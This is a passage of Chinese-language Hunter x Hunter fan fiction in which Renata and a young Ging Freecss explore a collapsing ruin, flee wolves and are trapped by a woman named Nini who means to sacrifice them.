“对啊，在你的家人之间选一个杀掉哦~”蕾娜塔朝着席巴走来，惨白的月光勾勒出少女扬起的嘴角，脸上的血花在月光下绽放，红眸里涌动着不加掩饰的恶意。
“我很讨厌疼痛呢，今天晚上可是遭了不少罪。前前后后承受了不少对你们来讲可以说是致命伤的程度还有武器上那不知名的剧毒。要不是我的身体比较强悍，我早就不知道死多少回了呢。”
渐近的脚步声每一次响起都在拷打席巴
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的内心。
少女的身影越来越近，他们的双眸再次对上，让席巴想起了在工厂的那个夜晚。
她笑着拧断了一个操作系念能力者的脖子。
或许从那个时候起他们的计划就是失败的。
就算她一直在监视下，就算他们对打了无数次。
他完全错估了她的实力。
他们招惹了一个非人的怪物。
“而这一切都是因为席巴你哦。”
蕾娜塔冰凉的手抚上席巴的脸，再用力钳住他的下巴迫使他抬头，新奇地打量着席巴宛若阶下囚的表情。
这是要杀掉她的表情吗？好奇怪。
“还是说你想杀了我？”她附在他的耳边轻轻吐气。
另一只手捏住席巴握着刀的手，朝着她的身体逼近。
席巴吓了一跳，握着刀的手收紧，抗衡着蕾娜塔的力气。
好歹是个杀手了，胆那么小吗？
她无趣地收回眼。
本来想要杀掉这三个的，但是就这样杀掉感到好无聊。
“好了，蕾娜塔，别玩了。”被基裘判定死亡的小野站在她的旁边露出无奈的神色。
“神1？”蕾娜塔松手，转头盯着完好无损的‘小野’。
全身的血液都在呼唤着对方，渴望得到‘他’。
那种熟悉感就像多年未见的好友。
“你也可以这么叫我，不过我更喜欢你叫我姐姐。”神1在蕾娜塔的视野里变化成黑发红眸的模样。
除了是短发，简直就是蕾娜塔的缩小版。
“哇塞，你这是怎么做到的。”蕾娜塔捏捏神1的脸。
好软。
“你这家伙有没有好好看实验室里的资料啊。”神1扒开蕾娜塔的手。
“我看了呀，那个是怪物又不是我。”
“笨蛋。”神1敲了敲蕾娜塔的头。“为什么不是喝了你的血的怪物。亏我花了那么大力气把它送到这里来。”
“原来我的血可以这么用吗？那我岂不是可以有很多分身了？”蕾娜塔捂着脑袋却又感觉醍醐灌顶。
“笨蛋就是笨蛋。”神1抱着手，俨然一副小大人的做派。“你的血没有同化性。我已经帮你舍去了这一部分。”
“好吧。听你这口气你就是失忆前的我喽。所以呢？”
“这幅身体撑不了多久，我就长话短说吧。自、己、去、发、掘、真、相。”神1毫无责任心地摆摆手。“下次别那么恶趣味给人家孩子吓坏了。”她点点蕾娜塔的鼻子。
“你这长话短说的话有点太短了吧，完全摸不到头脑…”蕾娜塔托着下巴思考。
呃。
思考不出来。
“命运会指引你的。你就是我，我就是你。你不是我，我不是你。”
“不要当谜语人啊喂！”蕾娜塔不满地瞪向神1。她张了张嘴还想说些什么，身体晃了一下。
这场战斗消耗了她太多精力。身体的每一寸血肉都渴望得到休息。
“快走吧，再不走可走不掉了。”神1一一略过周围的人，“作为姐姐，我可以帮你把这里拖延一会哦。”她伸出一根食指，露出狡黠的笑容。
“这个能力也是你设定的吧。真讨厌。”蕾娜塔话虽那么说，但下一秒跳上天花板就跑没影了。
嘴硬的小家伙。
接下来可是大人的时间了。
神1的视线悠悠转向站在原地的席巴和不知醒来多久的基裘。
“要做个交易吗？席巴·揍敌客。”她扬起与蕾娜塔如出一辙的笑容，在揍敌客上重重停顿。身上的皮肤化成灰扑簌簌地落下。
“我们的时间不多了。”
月光朦胧了她的叹息。
12. 熊孩子×遗迹×歌声
蕾娜塔做了一个漫长的梦。
漫长到自己都记不清了，感觉一下子体验了好几种人生。
是因为见到神1，身体残留的部分率先启动了自我保护机制？还是因为被席巴背叛了心里偷偷感到不适？
她不是很清楚。
只记得梦里的她特别的悲伤，悲伤到她也想哭泣。
“遗迹里面怎么还躺着一个人？”
“是死了吗？”
谁在说话？好吵。
才没有死呢。
蕾娜塔感受到自己的脸被戳了戳。
“怎么还流泪了？是念的作用吗？”
流泪？她吗？
“不会是什么遗迹的机关吧。”
蕾娜塔尝试性的动了动手指，逐渐适应长久未动的身体。
遗迹？她沉睡之前并不清楚逃到哪了。完全是身体本能支使着行动。
估计也是神1做了什么吧。
“动、动了！哇！”
哪来的小孩。好吵。
“咔哒”黑暗中小孩的位置出现了很轻微的一声响动。
在她睁开眼的瞬间，男孩身体紧绷，下意识放轻呼吸。棕色的眼眸带着好奇和探究紧盯着她。手指摩挲着下巴，不知道在想什么。
蕾娜塔坐起身疑惑地歪头。
吵醒了不道歉是什么意思？
“你好我是金·富力士目标是探索大陆上的每一处遗迹就算是黑暗大陆我也不会放过的！”金·富力士眼眸里闪着光，挂着极为自信的微笑。
他一口气说完这些，又像泄了气的皮球一般害羞地捂着脸。透过指缝偷偷看她。
想这么久就说这。？
她站起身来，活动酸涩的手腕。
“我是蕾娜塔。目标是熊孩子，就算是你和我做了自我介绍，我也不会放过没有道歉的你的。”说着，她冲过去就给金·富力士重重来了一拳。
“好痛！”金·富力士捂着脑袋，大声道歉，“对不起！”
整个遗迹都回荡着他的声音。
由泥巴砌成的天花板掉下了泥渣，扬起一阵灰尘。遗迹深处传来轰隆隆的响声。
蕾娜塔被呛得咳嗽，用手挥开这些尘土。
“遭了，这里要塌了。”金·富力士皱起眉头，拉起蕾娜塔的手腕就往外跑。
大小不一的土块从上方掉落，都被金·富力士灵活躲开。直到看见入口的风信子和天边低沉的落日，他才松了口气，拉着蕾娜塔迈过门槛。遗迹轰隆紧跟在他们脚后跟轰隆一声倒塌了。
“好险，差一点就埋在里面了。”
金·富力士整个人扑倒在风信子的花海里，大口大口地喘着气。
“我之前观察过遗迹，明明没有那么容易坍塌的。”
他看向天空，余光紧紧盯着一旁的蕾娜塔。
完全符合新世界纪行里的描写。
蕾娜塔倒是一身轻松，转身看了一眼废墟。
“这是哪？”
“埃珍大陆—卡丁国郊外的深山。这个遗址是很早一批隐居在山里的人们为重生女神蕾妮打造的住所。传闻她黑发红眸，能够将死亡的人复活。”金数着点缀在昏暗的天空中黯淡的星星说道，属于风信子的那股甜中带涩的气味刺激着他的鼻子。
这里的气候并不适合风信子生存。
但这附近的土壤却是温热的。是有地热还是存在温泉呢？
他撑着手坐起来看向蕾娜塔。
霞光打在她白皙的脸上，深红色的眼眸极度的鲜艳和明亮。
她也是黑发红眸。
“你刚刚是说你叫金·富力士吧？”蕾娜塔话题跳转的很快，从她的表情上来看不是很在乎那些传说和遗迹。
“嗯。”金·富力士轻轻应下，随手摘下风信子的小花朵，放在手里把玩。
他记得风信子的花语还有重生之意的。
倒是和传说挺搭的。
“那你认识东·富力士吗？”蕾娜塔蹲下和他平视，隐隐期待地看着他。
“唔，算不得认识，他是我的祖先。我并没有见过他。”金·富力士直视她的眼眸摇摇头。
“这样吗。”蕾娜塔叹息一声，站起来准备走人。
“问完就要走了吗？真不留情。”金·富力士撇嘴，“明明是我叫醒你的。”他嘴里嘟囔道，不小心捻断了手里的花瓣，苦涩的汁液在他手心爆开。
“叫醒人还要戳对方的脸吗？”蕾娜塔不客气地回应道，走向通往森林的道路。
“对不起嘛我给你道歉，……还有那个方向不是出去的路。”金·富力士顿了一下，无奈地补充。
“……是吗？我就看看。”蕾娜塔掉过来干笑几声。“这路怎么就怎么长得像路呢。”
“完全不好笑哦——”金·富力士夸张地拉长语调。
“知道了闭嘴啦。”蕾娜塔重拳出击。
“！！对不起！”金·富力士捂着脑袋，趴倒在花海里。
暮霭沉沉，枯黄的叶子在枝头摇摇欲坠，被打着转的秋风带走。流浪的旅人升起篝火，熟练地处理从河边捉来的鱼虾和捕来的猎物。
蕾娜塔的手放在篝火旁烘烤，炙热的火舌吞噬了来自秋天的阵阵凉意。
“又是暮秋了吗？感觉没过多久。”
她记得沉睡之前也是这个季节吧。
“对呀。森林里大部分的野兽要开始为过冬做准备了。”金·富力士用树枝串起食物，放在火上烤，涂上油脂的食物在高温下发出了滋滋的声音。“你沉睡之前也是暮秋吗？是遇到了什么事情才需要沉睡吗？”
“嗯，和别人打了一架，损失太多能量了。”蕾娜塔毫不掩饰，她指了指愈合的伤口，又比了一下长度，“很大一个口子，超痛的。”
“啊。可以想象呢。即使是猎人也常常会碰到棘手的对象。”金·富力士把烤的金黄的肉片翻面。“相比于只会用暴力的家伙还是职场上笑面虎这样的存在更令人讨厌吧。”他叹了一口气。
“猎人？”之前她好像听席巴提过一嘴，但当时没在意。
“是一个职业啦。通过猎人考试得到猎人证明，就可以成为一名猎人了。淘汰率超高的。”他右手从口袋里掏出猎人证明展示在蕾娜塔面前，左手顺手把烤肉递给蕾娜塔。
“谢谢了。”蕾娜塔接过烤肉。“听起来是个高薪的职
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业。”说到戒尼她下意识摸向侧边的口袋，却摸了个空。
她的卡呢？
她赚的一亿戒尼呢？
“啊哈哈。你是在找卡吗？”金·富力士挠着头迟疑地问道。
蕾娜塔的目光紧锁在金·富力士身上。
“刚刚在遗迹的时候你口袋掉出了一张卡，我没注意。嗯…”他从口袋里掏出裂成两半的卡。“请不要生气等出去之后我会赔你的，我可以拿猎人证明做担保。”他的双手捏着两张卡的边缘毕恭毕敬地递给蕾娜塔。
“你这也太过分了吧，这可是我的血汗钱。”蕾娜塔伸出手把金·富力士的卡拿走。“出去之后必须还给我一亿戒尼，不然我把这张卡转卖了。”
“好的。”金·富力士眼疾手快地把旁边的烤肉全放在蕾娜塔的手上。“这些烤肉是我的赔礼。出去之后我保证还你。”
这不是你叫醒我的赔礼吗？
蕾娜塔张嘴刚想说些什么，就见金·富力士的眼神突然变得凝重。
他的耳朵轻微地动了动。“蕾娜塔，你听到什么声音了吗？”
风声里夹杂着断断续续的歌声。
“估计是附近被香气引来的生物吧。”蕾娜塔不在意地拿起烤肉。
“不，是类人或者人的歌声。”金·富力士站起来警惕地看向森林深处。
歌声是从那里传来的。他看到了影影绰绰的人形。但不知道是什么原因，那个怪物不敢靠近，像是在本能地惧怕什么。
他回头地看了蕾娜塔一眼，从背包里掏出一个钓鱼竿准备扔出鱼钩试探怪物。
还没掏出来，怪物听见他的动静就跑走了。
只能找个机会再仔细看看了。他收起鱼竿，走过去蹲下查看怪物躲藏的地方是否留下什么线索。
又是这股甜而涩的微刺鼻味道混合着水汽残留在枯叶堆里。
而这风信子只开在遗迹周围。
遗迹周围只有一条河……
蟋蟀的叫声打断了他的思考。他不只是一个人。
“没想到怪物一看到我就跑走了呢。”
他踏着火光朝着少女走去，挠着头挂上一副笑脸。
“来吃烤肉吧。”蕾娜塔拍拍旁边的位置招呼他坐下，手上的签子只剩下几根。“你的烤肉技术差强人意，勉勉强强能吃得下去。”她评价道。
“居然得到了这种评价，有的吃就不错啦。”金·富力士吐舌。“我接下来要待在这里几天，来寻找遗迹坍塌的原因。你要和我一起等到结束我们一起出去，还是我找人把你带出去？”他指了指和森林相反的方向。“不过说好了，那个人也不一定能把你带出去，你们可能还会迷路。”他眨眨眼，颇为自豪地说：“没有人比我更懂这里了。”
“既然你那么说了，那我只好跟着你了。”蕾娜塔摆手。“你刚才说你听到了歌声，但是我什么都没有听到哦。我还以为你想要吓唬我，结果你就走过去了。那个怪物唱了什么？”
“燃烧的火舌席卷疾病，
您指尖的红宝石带来永生，
我们免于在死神影子里徘徊——”
金·富力士含糊地哼出古怪的调子。
13. 玩笑×跑×心跳
“好难听。”蕾娜塔皱起眉头，捂紧自己的耳朵。
听她这么一讲，金·富力士立马嘴角下弯，把头埋在两个胳膊里，漏出凌乱的黑发，肩膀轻轻地颤抖，显然一副被打击到了的模样。
“蕾娜塔真的太过分了。”过了一会，他小声地说。
他怎么了？
这是在哭吗？
好脆弱。
蕾娜塔放下捂着耳朵的手，开始思考刚刚是不是自己说话说得太重了。
毕竟人家也是好心答应自己的要求，却被自己说难听。
可是真的很难听啊。
沉默良久，蕾娜塔看着金·富力士的后脑勺忍不住开口。
“那个，其实——”
“哈哈。”金·富力士抬起头，眉梢挂着喜意，笑得直不起腰。“哈哈哈，蕾娜塔被骗了呢。”他抹去眼角的水花。
“金·富力士！”蕾娜塔把手握成拳，恼羞成怒。
“不要生气嘛。”
金·富力士张开手掌挡住蕾娜塔的拳头，趁着蕾娜塔愣神的片刻，另一只手握拳伸出一根指头在她面前晃晃。
“就当是拉进关系的小游戏吧——我暂时的同伴。”
他的眼眸弯弯，像一只狐狸露出了狡黠的笑容。
蕾娜塔冷哼一声，转头不看他。
篝火里的木头烧得噼里啪啦。熊熊燃烧的火焰在黑暗里睁开眼凝视每一片土地。
金·富力士的笑容淡下来，强烈的窥视感让他如芒在背。
他们被谁盯上了。
不，是他被谁盯上了。
应该就是刚才那个类人生物。
他偏头看向蕾娜塔，她的表情没有任何异样。
哪怕是念能力者使用绝也会暴露在圆里。而他展开的圆的范围内没有捕捉到任何生物，甚至连眼前的蕾娜塔也无法感知。
对方和蕾娜塔一样也是黑暗大陆的生物吗？这种无声无息就能让人感到压力的能力。
真可怕。
金·富力士眸光微闪，用念凝成的小球在手指间滚动。
“呜——”
远处传来一声狼嚎，念球也随之停下。
“蕾娜塔。”他叫了一声她的名字。
“嗯？”蕾娜塔转过头来看他，血红的眼眸充满疑惑。
森林里传来窸窸窣窣的声音，几双竖瞳在黑暗里发着光。
“你准备好逃跑了吗？”他弯起嘴角，露出灿烂的笑颜，眼眸闪着毫不掩饰的兴奋。
像是一声令下，狼群冲向他们。金·富力士一把拉过蕾娜塔的手腕就往前跑。
“为什么要跑？这些不是很容易解决的东西吗？”蕾娜塔被金·富力士牵着，紧紧跟着他的步伐。“你不是猎人吗？”她歪头，上下打量着他，语气充满不解。
“猎人也不是什么都可以解决的呀。我的能力还没有到能够轻松解决噬息狼群的程度呢。”金·富力士避开前方的路障，“这种魔兽只要尝到你的血就会召集所有狼群去追杀你，无论你在哪。”他的另一只大拇指指着后方的狼群。
话是那么说，可他还是笑着的，不在意跟在后面的危险。
埋伏在附近的几只狼跳上来，被他伸手打掉。
“成功扫除埋伏！”他的声音雀跃，举起一只手欢呼，完全没有逃命的感觉。
尾随其后的狼群充满攻击性的吼叫传来，踏步声也加快了许多，这代表金·富力士成功激怒了狼群。
“啊？它们这是生气了吗？”金·富力士循声回头扫了一眼。“快要追上来了，好可怕——”他的调子长长地拉着。
不生气才怪吧。蕾娜塔打量着周边的环境随意想道。
这地方看起来有点眼熟。她瞥到了一旁的风信子。
这不是从遗迹走过来的方向吗？
几只狼见扑不到金·富力士就朝蕾娜塔袭击。蕾娜塔听到了后方的低吼声，一只狼张着口朝她扑过来。
她正打算伸手时，她的腰被人搂住了。
“蕾娜塔抓紧了哦。”她的头因为惯性靠在金·富力士的胸膛，他的声音从上方传来，清透的少年音变得沉闷。
一声破空声，伴随着失重感，蕾娜塔的脚离开地面。
他们两个朝着月亮飞快地接近，黑色发丝在空中飞舞。少年的笑脸在莹莹月光下发亮，充满对未来的朝气。
蕾娜塔这才意识到金·富力士是和东、席巴、基裘不一样的存在。
她不由地攥紧金·富力士的衣襟。
“怎么了蕾娜塔？是害怕了吗？”风声打乱金·富力士的声音，变得模模糊糊。
“才没有。”她小声地辩解。
“什么？”金·富力士没听清。
“我说——我、才、没、有、害、怕！”蕾娜塔附到他的耳边大声道。
“知道啦！”金·富力士大声地回应。“蕾娜塔你想体会自由降落吗？”
？什么东西。
“簌—”不等蕾娜塔回答，他手里按下开关，两人从空中快速坠落。
出于危机感，蕾娜塔一只手下意识按上了金·富力士的脖子，另一只手放在他的胸口，隔着布料，他的心跳有力地搏动着。
原来人类的心跳是这样的。
和席巴说的不一样。
“不用怕。”金·富力士抱紧蕾娜塔，把他垫在下方，坚定地对上她的眼，他的眼眸烫的惊人，蕾娜塔仿佛被灼烧般移开了双眼。
周围的一切都在极速上升。
少女不知所措的模样逗乐了金·富力士。
狂风下，他和她的黑发缠在一起，就好像他和她的缘好像也缠绕在一块。
鬼使神差地，他伸出手，把她缠在一块的发丝拨开，把弄乱的刘海抚到耳后，指尖无意间触碰到她微凉的耳廓，他的视线左移对上少女茫然的眼神。
“你的头发乱了哦。”他还是笑眯眯的。
蕾娜塔点点头，基裘之前也常常拨弄她的长发，她倒是没有什么排斥。
不过他的心跳的很快，是坠落的原因吗？
在念的缓冲下，金·富力士没有受到什么伤害。蕾娜塔趴在他的身上正准备起来。
轰隆一声，他们身下的土地下陷。
金·富力士毫无准备，重重摔在地上，在昏迷的上一瞬他看到了一闪而过的废墟。
这里是遗迹真正的入口？
还未等他想出什么，就陷入了沉沉的黑暗中。
蕾娜塔有着金·富力士垫底，倒是没什么事情
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。
她站起来观察周围，他们进来的时候，头上的机关就关闭了。微弱的光线透过缝隙打在金·富力士的脸上。
这一片的上方是风信子，他们下午在这里没发现什么。机关是要特定条件才能打开吗？还是说因为遗迹坍塌了？
没了视野，其他的感官变得更加灵敏。她嗅到了风信子的花香、泥腥味、若有若无的血腥味。空中黏腻的水汽附在她的皮肤上。
要不要等等金·富力士呢？她思考着，打算伸出手触碰四周是否存在墙壁。
落地之前心脏规律的搏动感还在她的手上残留。她犹豫一下，试探性抚上胸口，想把这种跳动传递给自己的心脏。
但是身体毫无回应，只有用来模拟人类状态的微凉的体温。
这么一看自己和小一不都是尸体吗？
还是一具行走在人世间没有记忆不得死亡的尸体。
头一次，她产生了这种微微沮丧的心情。原先的计划也被打乱。
“金？”她走到金·富力士的旁边，轻轻地呼唤。面前的少年在睡梦中也不太安稳，蝴蝶般的眼睫颤了颤。
她跪坐在一旁，俯下身子，把自己的耳朵贴在金·富力士的胸口。
“嘭、嘭、嘭。”不停地搏动。
少年身上还有清爽的皂角味，隔着布料还能感受到他微热的温度。
“蕾娜塔……”少年呢喃道。
这三个字仿佛魔咒一般。
藏在血肉下的心脏忽然又快速地跳动起来，和高空那时的一样。
好奇妙。
这就是人类吗？
她又抚上了自己的心口，好像也能通过金的心跳来感受到自己心跳的存在。
金·富力士感觉自己的胸口压上了一块沉甸甸的石头，而且还是不断增加重量的那种石头，压的他喘不过气。
他睁开眼，大口喘着气，梦中的石头还压在他的胸上。
借着微弱的月光，他微微抬起头看去，少女贴在他的胸口，红色的眼眸在黑暗中发着光，她的气息扑洒在他的脖子上，有些痒。被他解开的黑发再一次缠绕上他的短发。
与梦中的幻想隐约重合。
“蕾、蕾娜塔？”他不确定地叫出她的名字。
“嗯？怎么了嘛？”蕾娜塔感受到胸腔的震动，好奇地摸向金·富力士的脖子。
声带和胸腔是连着的吗？
“你先、先起来。”他的手小心地推攮蕾娜塔，脸颊发烫似乎要烧起来了。
还好光线模糊看不清。他有些庆幸地想。
“为什么？”蕾娜塔趴在他的胸口纹丝不动，无辜地看向他，他发红的脸落到她的眼里看得一清二楚。
她听到他的心跳跳动得更快了。
“我们…就是…呃…你……就是…”金·富力士快速地组织措辞，试图来解释这个行为。
但他看着蕾娜塔又泄了气。
他在想什么呢。
她不是人类，当然不知道了。
“唔…你觉得这是什么呢？”他无力地问道。
“是拉进关系的小游戏。”蕾娜塔毫不犹豫地回答道。“那金犹豫了那么久觉得是什么呢？”她反问道。
这是报复吧？这一定是吧！
14. 拒绝×颂歌×受伤的女人
“小游戏不是这样的啦，蕾娜塔。你先起来，我要喘不过气了。”
“好吧。”蕾娜塔坐起来，乖巧地看向金。
金·富力士微微喘气，本能地开始打量周边的环境，确保自己是否安全。但是头顶的一点点月光显然不足以照明，能看到的东西有限。所以他拿出放在背包里的手电筒。
正当他准备按下按钮时，蕾娜塔拉住了他的手。
“你还没有说。”她的神色固执又认真。
黑暗里，那些晦暗不清的情绪在偷偷发酵。
金·富力士叹了一口气。
“蕾娜塔，刚才的行为是只有和你有着很亲密的关系的人才可以做的。”
“为什么？”蕾娜塔拉着他的手更紧了。“我只是想听你的心跳。”
“或许你只是想听心跳，但是落到别人眼里，就不只是听心跳了，也可能是要掏ta的心，ta会攻击你，让你受伤。”
那杀掉不就好了。
“杀掉并不能解决任何问题。”像是知道蕾娜塔的想法，金·富力士接着补充道。“但和你亲密的人不会。ta会告诉你，你的发梢擦过ta的脸颊是什么感觉，对上你的眼睛ta又是什么感觉，ta会把所有关于你的感觉告诉你，因为ta的心可以为了你而跳动。”稚气未脱的脸一脸严肃，发亮的眼眸昭示着他的内心。
“那我和金不算亲密的人吗？”蕾娜塔松开手，心里似乎也有了答案。
“蕾娜塔，还记得我和你说的吗？我们只是暂、时、的、同、伴。”他重重停顿，认真又大声地告诉蕾娜塔。“我们才认识短短一天，甚至一天都不到。我们对对方一点都不了解。只有了解你、在乎你、知道你所有想法、处处为你着想的人才是亲密的人。”
说完这些，他心里悬着的石头重重落地，就像当时拨开她缠着的发丝一样轻松。
他打开手电筒照亮了这间房间。
“我知道了。金。”蕾娜塔低着头，不知道在想些什么。
金·富力士站起来只看得到她头顶小小的漩涡。
“那我也会有亲密的人吗？”她小声地问道。
“会有的，蕾娜塔。会有的。”他重复一句肯定道。
只不过不是他。
“好。”蕾娜塔抬起她的头冲金·富力士绽放一个笑颜。湿漉漉的红眸像是下了一场雨却又放晴。
金·富力士也露出爽朗的笑容。
她的心在那么一瞬间似乎跳动了一下。
“快点找出口啦金，说不定出去我就找到了。”
只不过一瞬，她站起来拍去裙摆上的灰尘，又恢复了那娇蛮的模样。
“在找啦。”金·富力士回答道，他看向墙壁上的诗歌，轻声念出。
“燃烧的火舌席卷疾病，
您指尖的红宝石带来永生，
我们免于在死神影子里徘徊——
来自彼端的神明啊，
我们以红眸为约，
请赐予我们荣光，
将我们生命之火点燃，
结束这循环的苦楚。
我们永远赞美您。”
“是那首歌的下半部分诶。”蕾娜塔凑到一旁，仔细看着。
“咔哒。”门开了。
“开那么快，不会有诈吧？”她躲到金·富力士的身后。
“就算有诈又怎样，什么困难都是需要解决的，待在这里才算是胆小鬼吧？”金·富力士抬脚走去。
蕾娜塔跟在后边。
“救救我……”草丛里有人在呼救。
蕾娜塔和金·富力士对视一眼向前探去。
一个女人躺在墙边，肩膀和大腿的地方翻出里面血肉，大量渗血。
金从包里掏出药撒上，把自己的外套撕成布条绑在女人的伤口处。
“听得到吗？这位小姐。”金·富力士伸出手在女人涣散的眼神里摇晃。直到蕾娜塔也进入她的视线。
女人身上那股甜且涩的味道若有若无钻入他的鼻尖。
“听得到。”女人虚弱地回答道。
“那真是太好了。你还记得是怎么来到这里然后受伤的吗？”金·富力士询问道。
“不太…记得了。”
“啊，好可惜。还走的动吗？”金·富力士的视线落到她的伤口上。“还是需要我们帮你呢？”
“不要…丢下我。我可以…告诉你们这片遗迹…秘密。”女人的手轻轻地握住金富力士的手腕，眼含祈求地看着她。
“既然这位小姐受了那么严重的伤，怎么可以弃之不顾呢。你说是吧蕾娜塔。”金·富力士看了蕾娜塔一眼，扶起女人放到他的背上。
“请把我…送到附近的…灵泉，可以促进我的伤…口愈合。”女人抬起手指了一个方向。
“看来很了解这里嘛。”金·富力士随口道。
女人闭上眼睛不说话了。
蕾娜塔好奇地打量墙壁上的图腾，图腾里的细粉在光线的折射下闪闪发光。
“咦？”蕾娜塔惊呼一声。
图腾之下还有一个图腾，隐隐约约长得像人鱼？不细看完全看不出来。
“金。”蕾娜塔叫了一声。
“嘘，蕾娜塔，不要打扰到伤患。”他指了指背上的女人，给蕾娜塔使了一个眼色。
“刚刚不小心踩到虫子了。”蕾娜塔小声地解释。
“小心点哦。”金·富力士挑挑眉毛用很轻的气声回答她。
不知道为什么金这样有一种莫名的喜感。
蕾娜塔弯弯嘴角。
越靠近女人所指的灵泉位置水汽就越浓烈，雾气在指尖缠绕，呼吸都带着沉重。
金·富力士把女人放在一边，离得远远的。女人拖着身体不太好下水。
蕾娜塔向前几步，扶着女人的手臂。
“我来帮你吧。”
女人对上她的红眸，愣了一下，吐出一个“好。”接着就垂下头，把所有的情绪吞下。
蕾娜塔坐在一旁，把脚伸进灵泉，这个灵泉富含的生命力很强，有点接近念的感觉。
是谁刻意留下的吗？
“你叫什么名字。”
进了灵泉女人的状态肉眼可见地好起来了。所有的伤口都在快速愈合，连着血花都消失不见。
“妮妮。”
“只是小名吗？”
“不，”女人摇摇头，“我就叫这个名字。家里人只给我取了这个名字。”她拨弄水花。
“你为什么会在那里？”
“被人追杀。”
“那你为什么确定灵泉这里就
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没有追杀你的人？”
“直觉。而且他们也不会来这的。这里的每一寸雾气对他们来说都是毒。”妮妮解开金·富力士打的结。
“为什么？他们是谁？”
女人却不说了，看着泛起涟漪的水面。
“你在装哑巴吗？虽然不知道你在掩饰什么，但是不讲清楚的话我不会放过你哦。我没有金那样的耐心。”蕾娜塔晃动双脚，语调轻松地吐出恶意的话语。
“神1？或者应该说是蕾妮？她指使你的？”
“不、我不认识。”妮妮摇摇头，脸上的神色不似作假。
蕾娜塔盯着她看了许久，找不到任何说谎的痕迹，她无趣地撇嘴。
“你泡好了吗？”
“好了。”妮妮站起来，带起很大的水花，看着身上湿漉漉的衣服，求助地看向蕾娜塔。
“我帮你去问金要。”蕾娜塔跳下台阶，光着脚跑向金的方向。
“你应该有备用的衣服吧？”蕾娜塔站在金·富力士的旁边。
“有啊，”他从包里掏出一套，递给蕾娜塔。“她？”
“妮妮的伤好了。没衣服。”她又看了一眼上方。“你也看到了吧？”
“嗯。”金·富力士轻轻应下。“出乎我的意料，和传说有出入呢。快去吧，等会那位小姐不小心着凉了。”他看向水雾深处。
“好哦。”
穿好衣服的妮妮和蕾娜塔走出水雾。
“非常感谢这位先生和小姐，我是妮妮。接下来就由我为大家带路吧。”妮妮感激地握住金·富力士和蕾娜塔的手。
“啊忘记介绍了，我是金·富力士，”金·富力士挠挠头，虚握住妮妮的手客套地回礼，又看向站在他旁边的蕾娜塔。“这位是我的同伴，蕾娜塔。”
“遇到你们真是太好了。”妮妮走在前头。“看到富力士先生的时候会让我想起我的弟弟呢，他也和你差不多大，总是很调皮，总是招惹什么麻烦。远没有富力士先生可靠呢。”
“哈哈是吗。”金·富力士笑了几声。“这算是在夸奖我吗？那也太不好意思了，被人说可靠什么的。”
“其实在你们之前也有很多误入这里的旅人呢。有的变成了尸骨留在这里。”她指了指一旁的骷髅。“还有的莫名其妙消失了呢，听说是被这里的人鱼吃了—”随着灯光越来越暗，她的声音逐也渐低下去。
突然跳到了蕾娜塔和金·富力士的身后。
“哇哇哇。这是怎么做到的。”金·富力士装作被吓到了的样子，好奇地开口。
蕾娜塔没有管妮妮，面无表情地在思考什么。
“秘密。”妮妮神秘地看了蕾娜塔一眼。“而且听说人鱼一族是蕾妮的眷属。”
“那他们也可以重生吗？”
“可以猜猜看，毕竟我也不清楚嘛。不过所有事情都是存在代价的，有所得就必有所失呢。就比如我得到了人鱼族的秘密所以就没办法出去这个遗迹了呢。”
“说到这个，妮妮在得到秘密之前出去过这个遗迹吗？”金·富力士跳了一个话题。
“啊？没有哦，我一直在找地方躲避他们的追杀呢。”
“啊，是这样吗？”金·富力士摸上背包旁的鱼竿。
“可是我的鼻子告诉我，你去过外面哦。”
15. 妮妮×陷阱×休息
“啊？是这样吗？”妮妮停下脚步、转过身来平静地看着他，没有泛起一丝波澜的红眸和棕色的眼眸对视几秒，她弯下腰，金色的发丝从耳边垂落，白皙的手朝着金·富力士的面前伸出。
金·富力士全身寒毛竖起，死死盯着她的掌心。明明手上毫无念的痕迹，却让他本能地感受到一种危机感。这种危机感就像是暴风雨前的风平浪静，一不小心就会被暗潮吞噬。
他全身的肌肉紧绷，摸上钓鱼竿的手僵在半空。
冷静，冷静。现在还没有搞清遗迹的情况，不可以贸然动手。他安慰自己。
“金，你怎么还是这样。”回过神来的蕾娜塔上前一步，不动声色地按下他的手，示意金·富力士放松。
“他有时候就是喜欢说胡话啦。”她笑着看向妮妮，对上那双无机质的红眸。“不过我很好奇你口中人鱼族的秘密呢，我们要是知道了是不是也会出不去呢？”她半开玩笑道，眼里的嘲弄显而易见。
妮妮专注的红眸倒映着金·富力士的脸庞，没有给予蕾娜塔半分。但金·富力士的直觉告诉他，她的眼神不是在看他，而是透过他的眼睛寻找另一个人的踪影。
是她的弟弟吗？
微凉的手指触碰上温热的后颈。
寒意沿着金·富力士的脊背不断爬升。
“这里脏了。”妮妮的指尖抚去金·富力士后颈的一滴血。“真不小心呢。”她轻轻叹气，像是在抱怨孩子的调皮。
“如果是蕾娜塔小姐的话也不是不行哦。”妮妮直起身来，一点都不在乎蕾娜塔的挑衅行为，反倒若有所思地扫过对方的脸，在同样鲜红的眼眸刻意地停顿。“说不定你会带来更加新奇的事情呢。”她的话意有所指，自顾自地继续转身向前走。
“你的弟弟知道吗？”金·富力士抿嘴，紧跟在她的身后。
“他？”妮妮顿了一下，像是在思考什么。“那种爱惹麻烦的小鬼当然是不知道最好啦。不是什么人都可以知道的呢。”她的语调上扬，似乎为摆脱麻烦而暗自庆幸。
“不、我说的是你的弟弟知道你出不去吗？”
这个问题出乎妮妮的意料，但她还是轻快道：“当然不知道啦。他只知道他的姐姐去当英雄了。”
“遗迹的秘密和英雄有什么关系吗？”金·富力士歪头问。
“当然有啦，”妮妮转身看向他们，眼角弯弯，毫不掩饰她的得意。“因为我是消灭觊觎人鱼族秘密的外来人的英雄啊。”
“什么？”
他们的脚下瞬间冒出一个巨坑，尽管金·富力士多有防备但还是重重地摔了进去。
“你们就在待这里等待人鱼的庆典吧，我的祭品们。”妮妮的声音从上方传来，坑上的顶部也在缓缓闭合。“有什么遗言也可以现在说哦。”
“你的话太多了。妮妮。”陌生的男人出声道，似乎已经充分预知蕾娜塔他们的处境，也就不在乎自己是否暴露了。
顶部合上，透不出一丝光亮。
两个人的脚步声逐渐走远。
“长老……太久……不……你说的……不能反悔……”妮妮的声音已经听不真切了。
“蕾娜塔你没事吧。”他急切地问道，顾不得擦破的手臂，起身去查看蕾娜塔的情况。
“没事。”蕾娜塔轻轻踏在泥土上，脸上没有太大的情绪，她从一开始就预料到这个结果。
“那太好了。”他轻轻松了一口气。
相比于陌生的男人，让金·富力士更吃惊的是他用来防身的念失效了。
